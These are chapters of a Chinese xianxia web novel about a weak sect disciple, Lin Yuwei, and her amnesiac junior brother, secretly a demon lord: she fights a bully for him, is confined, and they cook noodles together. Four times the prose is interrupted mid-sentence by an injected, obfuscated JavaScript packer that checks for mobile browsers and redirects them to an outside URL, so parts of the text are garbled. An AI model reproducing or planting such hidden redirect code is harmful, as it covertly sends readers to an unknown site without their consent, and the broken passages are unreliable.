她活了十七年,做过最出格的事,也就属当年不懂事时与师父闹别扭,从山里捉了几只黄大仙偷偷塞进师父的房间里,差点将师父吓晕过去。 当初在飞仙关见到小师弟时,她就看出小师弟身上的衣饰很是贵重,拜入清虚宗前应当出身富贵人家,怕是吃不了微尘山上的苦。 是她欺他失忆,将人拐了回来。 她确有私心,心中有愧,所以才想从旁的地方尽量弥补小师弟。 “半年。” 林予微抽回思绪,强定了定神,“最多半年,到那个时候… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447124|185148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 蔺无咎歪了歪脑袋,似是不解:“怎么了?” 林予微心虚地回避视线,干巴巴地扯动嘴角:“到那时师姐的钱也应当存得差不多了……” - 很快就到了月末发弟子用度的日子,林予微一大早就叩响了小师弟的房门,准备同他一起到前山的事务堂去。 “虽说师父给了传送符,但小师弟如今也来了大半月,不如就趁着这次机会带你好好逛逛清虚宗的前山吧。” 蔺无咎点头应下,林予微先借传送符将二人送下微尘山,而后又沿途继续向前山走。 林予微边走边与他介绍,一路也遇到了不少弟子,不住朝她这边看。林予微早就习惯这样的场面,视若无睹地与小师弟继续拉扯话题。 直到二人途经一处廊亭,就听竹林那头的几座空旷石台上传来一阵嘈杂的辩论声。 “修仙者观天之道,执天之行[1],需顺应天道。” “欲修仙道,先修人道[2]。若连人也做不好,又如何成仙?” “……” 另一处石台对辩的二人明显要比他们激动许多—— “张某以为,乘天地而御六气,游无穷宇宙,唯有那成仙者,方可逍遥。” 对面那人立刻反驳:“这世间有几人能成仙?为人者,游心于世,不问俗尘,超脱六界,亦为逍遥!” “你放屁!” “你才放屁!” “你怎么能骂人呢?” “是你先骂人!” “呸!粗鄙!” “……” 周围路过的弟子目睹此景都是一副见怪不怪的神情,只顾着低头做自己的事。 见小师弟抬眼望去,林予微解释:“修炼之道分为心与术,清虚前山共设有两处高台,这东边的一处名为‘问心台’,可同时分为七个小石台,是专门为那些意见不合的弟子辨经而设;西边还有一处名为‘天心台’,清虚禁止弟子私斗,若要比武必须先得前山长老的同意,到天心台上去。” “这边争执的两人应该都是无镜山的弟子,他们修炼心道的经常会跑到这里来对辩。” 就林予微说话的这么一小会儿时间,问心台上的这两人已经开始指着对方的鼻子互喷了起来。 “无知小儿,才学浅薄!从前师父授的课都被你忘到狗肚子里去了!” “胡说!我听课最是认真,分明是你曲解了师父的意思!” “你个老鳖孙……” “你个大耳贼!” “你……” 蔺无咎眉梢一挑,听着耳边传来逐渐变得不堪的污言秽语,问:“这些也算对辩吗?” 林予微揉了揉鼻子,扭头瞥了眼那争得面红耳赤的两人,笑得有些尴尬:“辩论嘛,吵起来很正常。这吵着吵着,火气旺了,难免有些口不择言,没打起来已经算很心平气和了。” 打起来? 蔺无咎问:“这不是辩场吗?” 林予微开口解释:“天心台虽为武斗而设,但清虚门规不能伤人,大家清楚自己几斤几两,都是点到为止,但这问心台就有些不一样了。这群无境山的弟子平日里只钻研道法经文,讲究以心入道,算是读书人,一旦着急动起手来可就没轻没重了。” “互扯头发的场景也不算少见。” 她掰着手指,认真盘算,“光我瞧见的次数就不下六七回了。” 蔺无咎:“……” 13. 逍遥 若要去前山事务堂,问心台就是必经之地。 眼看台上二人吵得热火朝天,林予微也没不知死活到要在这个时候去触霉头,拉着小师弟打算悄无声息地从一旁溜走。 谁料还是被逮了个正着。 “喂!那个穿青色衣服的站住!” 林予微拉扯着小师弟的袖子,低头加快脚步。 “林予微!” 见对方叫出她的名字,林予微彻底心死了。 谁叫她弟子考核连年不过,名声实在太大,走哪都能有人认出她。 林予微深吸一口气,认命般转过身子,半死不活地牵动嘴角:“师兄找我什么事?” 其中一人道:“方才我就见你偷偷摸摸在那听了半天,那就你来给我们评一评,究竟谁说得对?” 林予微指着自己的鼻子,有些不敢置信:“我?” “你确定?” “对,就你,你来说说何为逍遥?” 被殃及池鱼的林予微悻悻看了二人一眼。 此事她倒还真从未想过。 可婉拒的话还没说出口,就立马被两人的眼神瞪了回来。 “……” 她支支吾吾:“我觉得这逍遥吧……也不是非得争出个高低贵贱来,就像这花花草草长在山头,吹吹风雨,晒晒太阳,我就觉得挺逍遥自在的……若换作人的话。” 林予微摸了摸下巴,认真思考。 “我有师门傍身,能够留在微尘山修道,今日晚膳若能吃上一碗酸辣红油面片大概也算逍遥。” “这怎么是逍遥?” 二人几乎是异口同声。 “此等小事怎能与飞升成仙相提并论!” “此等小事怎能与游心于世相提并论!” 林予微也不恼,只是笑眯眯地应付了句“师兄们言之有理”就拉着小师弟迅速离开。 什么成仙、什么游心于世对她来说实在太过遥远,她只想做个尘世俗人,守好微尘山的这一方小天地就足够了。 - 待二人来到前山事务堂时,门前已经排起了长队。 林予微踮脚伸长脖子朝队伍尽头看了看,兴致高昂地扭头对小师弟道:“看着样子半炷香就能排到我们了。等领到月钱,师姐带你去山下吃些好的去!” 蔺无咎并无口腹之欲,若非占用了“沈肖”这一凡人身份,他一口也不想碰,但看在林予微这副兴高采烈的模样,心下倒也没生出反感,便颔首答应下:“好。” 聚集在事务堂门前的多是一些外门弟子,一眼望去,只有寥寥几个身着青蓝衣裙的内门弟子。 因清虚宗给予内门弟子的用度一向宽裕,再加上长老又时常带他们下山历练,另发灵石补贴不在少数,所以极少有内门弟子来到此处。 她望眼欲穿,眼珠子恨不能直接穿过事务堂的门缝,看看到底能领多少弟子补贴,她早就听其他山的弟子说清虚宗准备给外门弟子加月钱了。 就在这时,一道尖锐刺耳的声音忽地从二人身后响起。 “林予微?你倒是还敢出来!” 林予微下意识回头,总觉得说话这人的一头炸毛有几分眼熟,应当是杜彦身后那群狗腿子中的其中一人……好像是叫秦白来着。 她收回视线,并没有搭理对方的意思,而是偏过脑袋和小师弟讨论起了这次到底能领到多少月钱,并叫他等会儿再去领两套弟子校服,再让长老将这漏掉的半月补贴一并发他…… 见林予微竟忽略自己,秦白面子一时有些挂不住:“喂!小废物,你聋吗?和你说话你听不见?!” 林予微还是不睬他。 倒是蔺无咎挑起眼皮,不动声色地朝他那看了一眼,然后又看了一眼。 他有些好奇——这人长得怎么跟被屁崩了似的。 “你……”秦白原先还想说什么,却被林予微身后少年眉眼间若有若无的阴狠戾气吓到了。 可等他回过神来时,蔺无咎似乎又恢复如常,此时正微垂着眉眼,乖巧地站在林予微身侧,低头听她说话。 秦白揉了揉眼睛,以为是自己多虑,见林予微死活不理会他,当即招呼起周围的人。 “欸!各位同门过来看一看!” “都过来看一看!” 他抬手指向林予微,“这位就是我们清虚宗大名鼎鼎的修仙废柴,林予微!” “想必在场各位都听说过她的名号!入门整整十一年,十一次弟子考核十一次不过,至今还是一境修为,简直是门派之耻!” 四面八方的视线纷纷投来,人群中的窃窃私语随之响起,林予微仍旧无动于衷,从始至终连眼皮子都没抬一下。 那秦白倒是越说越起劲:“要我说,就算是拴在山脚看门的那只狗,都比她有天赋!” “大家说,是不是啊……” “……” 仙门中人修的是自己的道,鲜少会去干预旁人的事。 大家虽都在往这看,但一时也无人附和他。 林予微知道自己天赋极差,门派中很多弟子都瞧不起她,但也只是走在路上多看她几眼,背过她小声讨论几句。 像秦白这种,纯粹是一粒老鼠屎坏了一锅粥,都是从惯会兴风作浪的杜彦那里学来的,跟在他身后的那群人,没一个是好东西。 直到领用的队伍排到两人,林予微这才转过身叮嘱:“事务堂所有领用的东西都需登记,为避免出错也是一个一个进入,小师弟现在门口等我一会儿吧。” 说罢,她好像无事发生般,在数道探究的目光下径直走进了大堂。 蔺无咎对自己这位小师姐的反应感到十分诧异。 林予微的话其实很密,叽叽喳喳跟山里的雀儿似的。 之前在微尘山上单独与那穿金戴银的猪头对骂,也很是有气势,他以为她听了这些话会一气之下与那人好好掰扯一番。 没想到从始至终,竟连一个字没说。 蔺无咎有些不解,视线从身后的队伍扫过。 是因为这里人多,怂了?还是…… 不等大魔头想明白,那秦白见林予微无动于衷,走得干干脆脆,转而将目标对向了蔺无咎。 “你就是那废物的师弟?” 蔺无咎斜睨了他一眼。 这不看不打紧,发现蔺无咎不像他那不理不睬的师姐后,秦白当即来了劲:“都说不是一家人不进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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挑衅之人应当是个二境修士,远比她的修为高得多,虽说此人与上次那个猪头一样都只是丹药堆出来的空架子,但…… 一个天赋平平的一境修士,甚至还是个不及他肩膀高的矮子,竟毫不犹豫地将他护在了身后。 蔺无咎感觉心口好像不知被什么东西轻轻挠了一下。 他无声收回袖下的树叶。 ——还真是个傻子。 秦白被她这一拳揍得头昏脑涨,半晌才眼冒金星地爬起身,他一把擦去脸上的鼻血,怒视着林予微:“你、你竟敢打我!” 林予微瞪了回去,啐道:“打的就是你!快给我师弟道歉!” “想得美!” 清虚弟子禁止私斗,尤其是高阶弟子不得对低阶弟子出手。 可周围那么多人都看见他被一个一境废柴揍了,秦白顿感颜面扫地,他上前几步,双手结印就要给她点教训—— “砰!” 谁料他手印还未结完,林予微又给了他一拳。 “磨磨唧唧!” 秦白“哎哟”一声惨叫倒地。 林予微生气道:“快给我师弟道歉!” 秦白恼道:“我呸!谁欺负你师弟了?我碰都没碰他一下!” “那你也是未遂,我刚才分明就看到你要欺负我师弟!” “放屁!” “砰!” 见秦白死活不肯松口,林予微三两步上前直接揪起领子按着他打:“不准欺负我师弟——!” 秦白:“……” 14. 静室 “不是,林予微!你有病吧!” “还不赶紧给我松开,小心等会我让杜师兄带人来,让你和你师弟吃不了兜着走!” “砰!” 秦白:“……” 从前他就跟着杜师兄处处寻她的麻烦,可即便把话说得再难听,他也从来没见林予微动过手。顶多偶尔耍点小心思,反过来捉弄杜师兄,然后拔腿就跑,从不与他们正面冲突。 不料这一境废柴的手劲竟这么大。 见他拒不道歉,还在叫嚣。 林予微加重了手上的力气:“不准欺负我师弟,不准找我师弟麻烦!听见了没有?!” 她知道秦白与那个草包杜彦一样都是拿灵药堆出来修为,结个印都不利索,与真正的二境修士相差甚远。若叫杜彦那帮人都在场,兴许她还会有所忌惮,可眼下就他一人,林予微才不惯着他。 每一拳砸得又密又重,将人打得毫无还手之力。 秦白早已鼻青脸肿,大概实在是被她打怕了,只好捂着脸满地求饶:“听见了听见了,我错了,我再也不敢了!求您别打了——” 很快二人闹出的动静引来了堂中长老,林予微这才收手作罢。 见到了长老,秦白立马换了副嘴脸,哭天喊地抱住了长老大腿诉苦,丝毫不提自己最初的挑衅之言。 反正人她已经打了,面对长老的询问,林予微一声不吭,一副死猪不怕开水烫的模样,好似早就知道他们会如何处置,解释再多也无用一般。 就这样,带小师弟下山的计划彻底泡汤,林予微被罚去了静室闭门思过。 - 这静室她虽有些年头没来,但摆设看起来倒与从前别无二致。 林予微轻车熟路地从供桌下翻出一张积满灰尘的小垫子盘腿坐下,而后叹了口气,一手撑着脑袋抬头去看墙面上印刻的门规。 等到天色沉下,林予微终于将整整三面墙的门规看完,并在心中得出结论——清虚宗门规比之前又多了三十一条。 清虚宗将弟子罚入静室无非是要弟子背诵门规,而这些东西她早就快背烂了。 林予微哈了口热气,搓了搓胳膊,心里正盘算如何能消磨时间熬过漫漫长夜时,忽听身后传来一声清润的嗓音。 “师姐。”蔺无咎开口唤道。 林予微闻声回头。 只见静室的石门被缓缓推开,身披氅衣的少年裹着寒霜踏月而来。 她眉眼一弯,惊喜道:“师弟!你怎么来了?” 年少时,她被罚入静室许多次,除了师父外,还是第一次有旁人来看她。 蔺无咎手中提着一方食盒,走到她跟前,温声道:“夜里凉,师姐应当有一日不曾吃过东西了吧?” 小师弟手中的食盒还未来得及放下,林予微就嗅到了一阵热腾腾的肉汤香气,肚子不争气地开始咕噜作响,她咧嘴傻笑:“小师弟,你真好。” 蔺无咎拿出汤碗递到她手中,垂下眉眼:“是膳房的李婆婆让我带给师姐的。” 林予微双手捧着热腾腾的碗,喝了一大口汤,胃连带着整个身体都暖和了起来。 鲜香在舌尖蔓延开来,她心满意足地眯着眼睛,含糊不清地又补充了一句:“李婆婆也好——” 蔺无咎将身上的氅衣解下,原想直接放在林予微的身旁,可动作行至一半忽然僵在半空,最后还是将氅衣披在了她肩上。 做完这些,蔺无咎又将盒中的小菜一一摆出。 “都是师姐平日最常点的菜。” 林予微馋得不行,放下汤碗伸手就要去拿筷子。 “嘶——” 忽然,手背传来刺痛感让她忍不住倒吸了一口凉气。 蔺无咎这才看清了林予微右手的手背关节破了一大块皮,又红又肿。 林予微只好换手拿筷。 可惜她的左手实在用不习惯,差点将盘子给戳翻,还有几次好不容易夹到菜,还没送到嘴里就“啪”地掉在地上了。 林予微又饿又着急,可怜巴巴地将碗筷往小师弟面前一推。 “师弟——” 蔺无咎愣了愣,险些以为是自己错会了她的意思:“师姐是要我夹菜?” 林予微迅速点头,笑嘻嘻道:“麻烦师弟啦,我想吃那个豆腐蒸肉末。” 说罢,她探出脑袋,一双明亮的眼眸就这么直勾勾地盯着小师弟,等待投喂。 蔺无咎的眸子缓缓转动了一下,没有拒绝,轻轻“嗯”了一声,安静地替她夹菜。 “这个。” “还有这个。” “……” 相较于蔺无咎的不自在,林予微倒是没觉得有何不妥。 她与师弟都是同门,大家互帮互助没什么大不了的。 “再夹一块肉。” 林予微吃得心满意足,今日心中诸多不快早已烟消云散。 吃饱了,心情果然就好了。 不知是不是因为光顾着听他那小师姐指挥帮忙夹菜,没有闲心想其他,这次蔺无咎难得没在心中刻薄编排她“如狼似虎”的吃相。 他夹起一块浸满汤汁的肉片,送入林予微口中,问道:“师姐今日为何要为我生那么大的火气?” 林予微一边嚼肉,一边哼声道:“他欺负小师弟,就是该打!” “那师姐呢?” 蔺无咎想起白天她被人指摘时那满不在乎的眼神。 “那人这般诋毁师姐,为何师姐毫无波澜?” “他说我天赋差,确实也没说错。嘴长在他身上,他要说就让他说呗,反正我都习惯了,理他做什么?说来说去无非就是那么几句。” 林予微满不在乎,“若人人都到我跟前说一句,我次次都要与人家争一回,那多累啊。我只做我自己的事,旁人的眼光我才不在乎。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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好不容易打发走那几位长老,林予微瞬间收起哭脸,从师父身后探出脑袋,对着几人的背影“呸”了一声。 棠九枝抬手将她按了回去,无奈地摇了摇头。 “你啊你……” 看着林予微笑嘻嘻的模样,苛责的话最终也没有说出口。 棠九枝叹了一声,叮嘱道:“那秦白是二境弟子,若非他是个药罐子,你怕是得吃不少苦头,日后可千万不能这般莽撞行事了。” 林予微不服气道:“谁让他欺负师弟的!他若是实打实修炼的二境修士,定是专注修炼,才不会和那杜彦聚在一起,整日到处惹是生非!” “……” 棠九枝一时竟无言以对,只好叫她先回微尘山。 15. 掌控 昨夜虽有小师弟送来的氅衣,但硬邦邦的地板让人终归睡的不够安稳,即便困得两眼发直,林予微还是强撑着回到微尘山,给小师弟布置下了今天的课业,然后才回屋倒头睡下。 冲星简直被她强大的毅力镇住了。 看着林予微摇摇晃晃,宛若行尸走肉的背影,它摇头感叹:“弟子考核对这凡人来说到底有多重要,感觉她都已经神志不清了,居然还能记得给你布置课业……对了主上您昨夜给她送东西时,是不是也被布置课业了……” “要我说,您昨夜就不该去的。” 蔺无咎放下手中的书:“是那膳房的李婆托了本座。” 冲星有些不信:“是吗?” 它怎么记得在这之前,主上就准备去静室了。 蔺无咎不为所动:“她既是因本座这个师弟受的罚,于情于理,本座都要去看一眼。” 冲星:“……” 是的,主上就去看一眼,都亲手喂上饭了。 不仅如此,昨晚还暗中将那个秦白又揍了一顿。 “你是不是闲得无事可做了?” 察觉冲星在暗中编排自己,蔺无咎斜睨了它一眼,挥手将它拍了回去,“今日再探,若还是找不到进入结界的办法,本座就将你丢进业火烧个干净。” “……” - 自从静室那日后,林予微一口一个“小师弟”,叫得更是亲密无间,整日拉着他辨星修炼。 见《步天歌》已经被他掌握得差不多了,林予微又找了一本心法给他,每日傍晚准时喊他到山头打坐,说是感受什么日月星辰五行之力在体内运转。 不过短短半月,蔺无咎便能引气入体,凝聚星力了。 但此事他并未告诉林予微,依旧每日装模作样地跟着她打坐。 大魔头看着指尖汇聚出的灵力,兀自陷入了沉默。 冲星也沉默了。 过了好半晌,冲星终于十分欠揍地开了口:“恭喜主上成为史上修仙第一魔!” 仙炁与魔炁本应相冲,可他却没感到半分不适应,莫非是因为天道封禁了他原本修为的缘故? 蔺无咎深深皱起了眉头,不明白自己一个魔族为何能修成仙法。 或许其中秘密就藏在被他遗忘的那段记忆里,可每当他努力回想过往记忆,就好像触发了什么禁制一般,头痛欲裂。 蔺无咎心中一阵烦闷,站起身准备出去透气。 刚一推门,就将他那潦草的野鸡师父坐在院中的石桌前,抱着他那鸡毛掸子似的拂尘,笑眯眯地喊他。 “小沈呐。” 蔺无咎这才不情不愿地走上前,唤了声:“师父。” 棠九枝用他的“鸡毛掸子”点了点身旁的位置:“坐吧。” “近来功课做得如何了?” 蔺无咎在茶盘上拿了个干净的杯子,给自己倒了杯茶。 “还行。” 棠九枝点了点头:“若有什么不懂的地方尽管问你师姐。” “好。” 大概是心中烦闷使得心火太旺,他一杯一杯地给自己续茶,也不管旁边的棠九枝如何。 老山鸡精盯着面前空空的茶杯,清了清嗓子。 没人理他。 他又将空杯子往旁边挪了挪。 蔺无咎依旧无动于衷。 棠九枝不甘心地将空茶杯递了出去,这回蔺无咎终于看见了。 将剩了凑不出半口茶汤底的壶递给过去,意思让他自己倒。 棠九枝颤颤巍巍地吐出一口气,心里叹了一声,认命般闭了闭眼。 这小王八蛋,心硬得和茅坑里的石头似的,一点也不懂尊师重道,连口茶不给师父。 一壶茶水浇下去,蔺无咎心底的烦闷也消了大半。 他忽然想起什么,问:“师父可曾听说过名为“逍遥山”的门派。” 棠九枝睁开一只眼看他,不知又从哪里变出一只茶壶,给自己斟了杯茶,半晌才悠悠开口,含糊不清道:“修真百年,许多门派都是昙花一现,大概是有的吧……” 蔺无咎见他口中也问不出什么,也不再说话。 “师父!” 恰在这时,林予微兴冲冲地跑了进来。 “咦?小师弟也在呀!” 棠九枝的目光很快被跑跑跳跳的林予微吸引了过去,慈眉善目地笑问:“小微,找师父有何事啊?” 林予微不知从哪扯了一块破布充当围裙,头发和脸上沾着面粉,郑重其事地在两人面前宣布道:“今日二月二,龙抬头,是个好日子,今日不吃膳堂,我亲自下厨给你们做龙须面!” 话音落下的一瞬,蔺无咎似乎瞥见身旁的棠九枝哆嗦了一下,猝不及防呛了口茶,像是被吓得不轻。 “咳咳咳!” 棠九枝太瘦了,咳嗽起来,浑身骨头像是快散架般。 不等他缓口 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好在棠九枝眼疾手快,起手一个引雨符,母鸡护崽似的扛起她就跑,才使二人幸免于难。 打这以后林予微也算长了记性,再也不打生火烧饭的主意。 不过时隔多年—— 林予微理所当然地认为当年自己年纪尚小,年少无知,才无意炸了微尘山。 一晃这么多年过去了,她自信地想:“是人总该有长进的。” 可惜她完全忘记了一件很重要的事。 这句话在她身上并不适用。 她的厨艺就像她那十多年一成不变的修为般,着实令人忧愁。 蔺无咎前脚刚走进厨房,就见林予微扛起一大袋面粉哐哐往砧板上倒,脚边已经丢了一个倒空的面粉袋子。 “……” 蔺无咎出声提醒道:“山上就三个人,师姐为何要用这么多面?” 听见小师弟的声音,林予微立马放下手中的袋子,讪笑道:“水不小心倒多了,有点稀。” “……” “不过!”她赶紧打圆场,递过去了一个包靠谱的眼神,“一切还在师姐能掌控的范围。” 蔺无咎的视线从案板上手指粗的萝卜条、竖切一刀两断的白菜,还有带着泥渍未洗净的小葱上一一划过,心中不由感叹:他这师姐的厨艺与糟糕的修炼天赋也应是不分伯仲。 16. 龙抬头 半盏茶的时间后,林予微依旧还在跟那团坑坑洼洼、狗啃似的面团一较高下。 蔺无咎先是抱臂在一旁看了一会儿,大抵是实在有些看不下去了,主动上前:“师姐,还是我来吧。” 林予微眨了眨眼,惊喜道:“师弟会做饭吗?” “不会。” “不过应该不难学,师姐在一旁指点我就可以了。” 蔺无咎洗净了双手,站到了案板前,侧目问:“师姐原先这一步是要做什么?” 林予微立马将位置让出:“我看书上说第一步应先揉面,将它揉成一个光滑不沾手的面团。” 蔺无咎将结块的面粉揉开,垂眸问:“这样吗?” “对对对,就是这样!” 林予微眼神一亮,兴奋极了。 “师弟,你先等会儿,我去给你找件围裙来,别将面粉沾衣服上了。” 说完,头也不回地就往外跑。 手下坑坑洼洼的面团很快被揉至光滑,方才见她那般阵势,还以为有多难,倒也不过如此。 蔺无咎冷嗤。 这微尘山一个野鸡师父,一个呆鹅徒弟,要他说也别叫微尘山,改名“鸡鹅一窝”得了。 纵使蔺无咎心里百转千回,十分刻薄地将微尘山里里外外都嫌弃了一遍,但手上的动作依旧没有停下。 冲星看到如此情景快疯了:它家主上来了仙门后,不仅学会了修仙,还学会了揉面做饭! 堂堂魔祖竟成了仙门煮夫! 岂有此理! 真的岂有此理! 冲星心如死灰,忽然觉得振兴魔界此生无望。 蔺无咎一眼就能看出它要放什么屁,弹指将它拨到一旁,面无表情道:“不过就在山上待几个月,这般沉不住气。” 冲星欣喜若狂:主上果然还没忘记他们此行目的。 “我就知道,主上肯定不会因为那日前山的小小插曲对那凡人起恻隐之心的!” 恻隐之心? 蔺无咎心中轻嗤。 他只知杀心,倒还真不知何为恻隐之心。 不等蔺无咎收回思绪,忽然感觉到身后似乎有什么暖烘烘的东西靠了上来,他下意识低头,便见少女手中攥着条围裙,双手从后背环住了他的腰。 大魔头身形一僵。 林予微似有所感,停下手上的动作,歪身探头去看他:“师弟,怎么了?是不是身体不适?” 少女鼻尖和脸颊两侧不知何时都沾了面粉,成了灰扑扑的花脸,衬得眼神格外清亮,此时正直勾勾地盯着他瞧。 蔺无咎迅速移开视线,抿唇道:“没什么。” 林予微也没多想,收回探出的脑袋,迅速帮他系好围裙。 看着砧板上圆润光滑的面团,林予微满意至极,欢天喜地宣布道:“下一步就是醒面啦。” 蔺无咎一贯懒懒散散,从不是个眼里有活的人,做事花一分力气,却要在旁人面前演出十成。 今日却不知是太阳打西边出来了,等待醒面期间主动帮她处理起那些配菜。 大小不一的萝卜条被均匀切成细丝,拦腰斩断的白菜也被切成细条状,小葱也被清洗干净处理成了葱花。 林予微发自内心地夸赞:“小师弟方才还说不会做饭,可我瞧着就是那酒楼几十年的老厨子刀工也不及小师弟半分!” 她一顺嘴道:“看来小师弟从前定是经常给人做饭,这刀工肯定是切菜练出来的。” 冲星第一个跳出来替他打抱不平:“笑话!堂堂魔祖从前怎会为人洗手做羹汤?” “这杀人与切菜亦有异曲同工之妙,主上从前定是砍人脑瓜子才练出来的刀工!” 可惜它说的话,林予微根本听不见。 蔺无咎淡淡道:“记不清了。” 林予微一拍脑袋,这才想起小师弟如今不记得过去的事情了。 她尴尬地东张西望,过了好半晌才憋出一句:“一刻钟到了。” “书上说正宗的龙须面需将面团抻条,至少十三扣,才能够将它拉扯到细如龙须,不过有些难。小师弟刀工如此细致,不如我们就将它擀薄,切成薄丝?” 蔺无咎点了点头。 林予微从一堆杂物中叮铃哐啷翻了许久,终于找出了一根擀面杖。 她虽不会生火做饭,但好歹也是对着食谱研究了许久,就如她多年修炼一般,只是将其中步骤牢记于心,可惜就是手上功夫不行。 好在小师弟聪明伶俐,经她手舞足蹈一形容,立马心领神会。 她插不上手帮忙,只好给自己搬了条凳子,坐到一旁,晃着两条腿。 略显笨重的菜刀在蔺无咎的手中变得格外灵巧,林予微看得有些眼花缭乱,只觉得小师弟握刀的手,五指白皙修长,指尖沾了白面,因用了力气,手背的筋骨根根分明,显得格外好看,等她回过神,蔺无咎已经切好了面须,抬头冲着她温声笑道。 “师姐,已经切好了。” 林予微原本以为刀切的龙须面自是比不上抻面来的细长,起初也没抱太大希望,岂料小师弟的刀工神乎其神,竟比她想象好得太多。 “师弟好厉害了!”她毫不掩饰眉眼间的赞叹之色。 蔺无咎不动声色地颔首应下,心想林予微应当带上那个老野鸡精一起来谢他。 若非自己主动要来帮她,今晚端到几人面前的龙须面怕又是得和那手指粗的萝卜条一样吧? 他倒是无碍,就是苦了那老野鸡精的小细脖,吃一根爱徒的“龙须面”,脖子需得先抻出两里地。 后面的步骤倒是简单很多,倒水烧锅,林予微自告奋勇,蔺无咎想起棠九枝那副被吓得不轻的模样,主动揽下了活。 林予微只好在一旁打起了下手,递递柴火与酱醋。 二人折腾大半个时辰,总算趁着天黑前将龙须面端上了桌。 棠九枝在屋中打坐,林予微将汤面送去后,拉着师弟在院里用起了晚膳。 “师弟的手艺真好!” 林予微心思单纯,从不对人吝啬自己的夸赞。 见她心满意足的模样,蔺无咎眉眼微动,移开视线。 嘁,不过是一碗面罢了。 “师姐今日为何想要吃这碗龙须面?” 林予微摇头晃脑,笑嘻嘻道:“今日二月二,自然得吃龙须面啦。” 二月二?这是什么日子? 蔺无咎从未听说。 暮色低垂,星辰隐隐。 林予微囫囵吞了一口面,被烫得直哈气,一手给自己扇风,一手朝天指了一个方向:“师弟还记得那书中的苍龙星宿吧?” “嗯。” “东方苍龙由角亢氐箕尾房心七宿组成。待会往这儿看,就可以看见苍龙的角宿,再晚些就能看到亢宿,苍龙的脑袋彻底从地平线上升起,民间便将这一星象称作‘龙抬头’。” 说话的间隙,林予微又朝腾着热气面汤吹了口气。 “苍龙春分登天,秋分潜渊,正是对应农耕时节。雨水增多,万物生机,民间又将‘二月二’称为春耕节,不少百姓会在这日向龙神祈求今年风调雨顺。” “这吃龙食嘛,自然是向龙神祈福,以此驱邪禳灾,求个吉祥平安。” 什么驱邪祈福,蔺无咎自然是不信,只觉得凡人愚昧可笑。 说到这里,林予微似乎又想起什么,立马放下碗筷,从屋中摸出一把剪子,揪起小师弟的辫尾剪了一小撮头发,又用红线绑好,然后塞入锦囊之中。 蔺无咎看着她的动作,十分不解:“师姐这是做什么?” 林予微眉眼弯弯:“二月二剃龙头,一年都有精神头。自然是为小师弟祈福啦!” 蔺无咎心中轻嗤,林予微却将那锦囊塞入他手中,盯着他的眼睛,笑吟吟道:“希望师弟日后无灾无病,一世顺遂。” 无灾无病,一世顺遂…… 在林予微真诚的眼神下,他心底方才积攒的那些刻薄恶毒的字眼,瞬间消弭于无形。 蔺无咎兀自沉默,若有所思般缓缓攥紧手中锦囊。 而林予微本人的祈愿方式却要粗暴直接很多,只见她剪了一大撮头发,将锦囊塞得满满当当——大有一副头发剪得越多,愿望就越灵验的架势。 她将锦囊合在掌心,闭眼抵额,然后仰面冲着天上的苍龙角宿,一字一句吼得铿锵有力:“龙神大人!望我今年转运!一定一定要顺利通过弟子考核!进入内门!” 蔺无咎:“……” 气势不似许愿,倒像是威胁上了。 - 龙食吃了,愿望也许了。 蔺无咎以为他那小师姐今日应该能安生下来了。谁料少女眼珠子轱辘一转,神不知鬼不觉地从石桌下掏出一小坛酒。 蔺无咎:“师姐这是……” 林予微凑到他跟前,满脸狡黠,小声道:“此酒名为浮玉春,是方才我给师父送东西时,从他屋内偷出来的——” “……” 佳节配美酒,她见外面的人都是这么说的。 “我们俩一人就尝个小半杯,明日一早我给师父送回去,肯定不会被发现的。” “……” 说罢,她又不知从哪掏出两个小酒杯。 师父虽不常喝酒,但偶尔传来的酒香让她馋了好久。 可惜林予微每次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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正当他俯身歪头要去看她时,林予微却一惊一乍突然坐起身,皱起眉头,一脸严肃地盯着他,一字一句铿锵有力:“师弟!” “怎么了?” 蔺无咎话音刚落,就见她骤然变脸,鬼哭狼嚎地带着酒气扑到他身上,连胳膊带腿宛若一条八爪鱼般死死地抱住他大哭了起来。 哭得比驴叫还难听,蔺无咎感觉耳朵有点疼。 “有一件事师姐对不起你呜呜——” 蔺无咎原想拽她下来,可林予微死活不肯放手,反而越拽她搂得越紧了。 蔺无咎闭了闭眼,耐着性子。 “师姐哪里对不起我了?” “其实、其实……飞仙关。”林予微吸了吸鼻子,“师弟没有被妖邪攻击,我、我是骗你的……我怕你不跟我走……” 蔺无咎:“我知道。” 林予微突然松开手,一脸震惊地看着他:“师弟怎么会知道?” 蔺无咎:“……” 看着林予微震惊的眼神,他的心情也十分复杂。 他这棒槌师姐不会以为自己编的鬼话真有人会信吧? 恐怕有些脑子,都不会认为一个一境弟子能在高阶妖邪的眼皮子底下将人救走。 更何况她的胆子还那么小。 ——小到每隔几日去找棠九枝要化形符,将画册中的那些凶邪幻化出来练胆,在明知是幻象的情况下,两条腿还能被吓得抖成筛子。 林予微还在那呜哇呜哇地打鸣:“师弟你不要走……” “我没说要走。” “真的吗?” “嗯。” 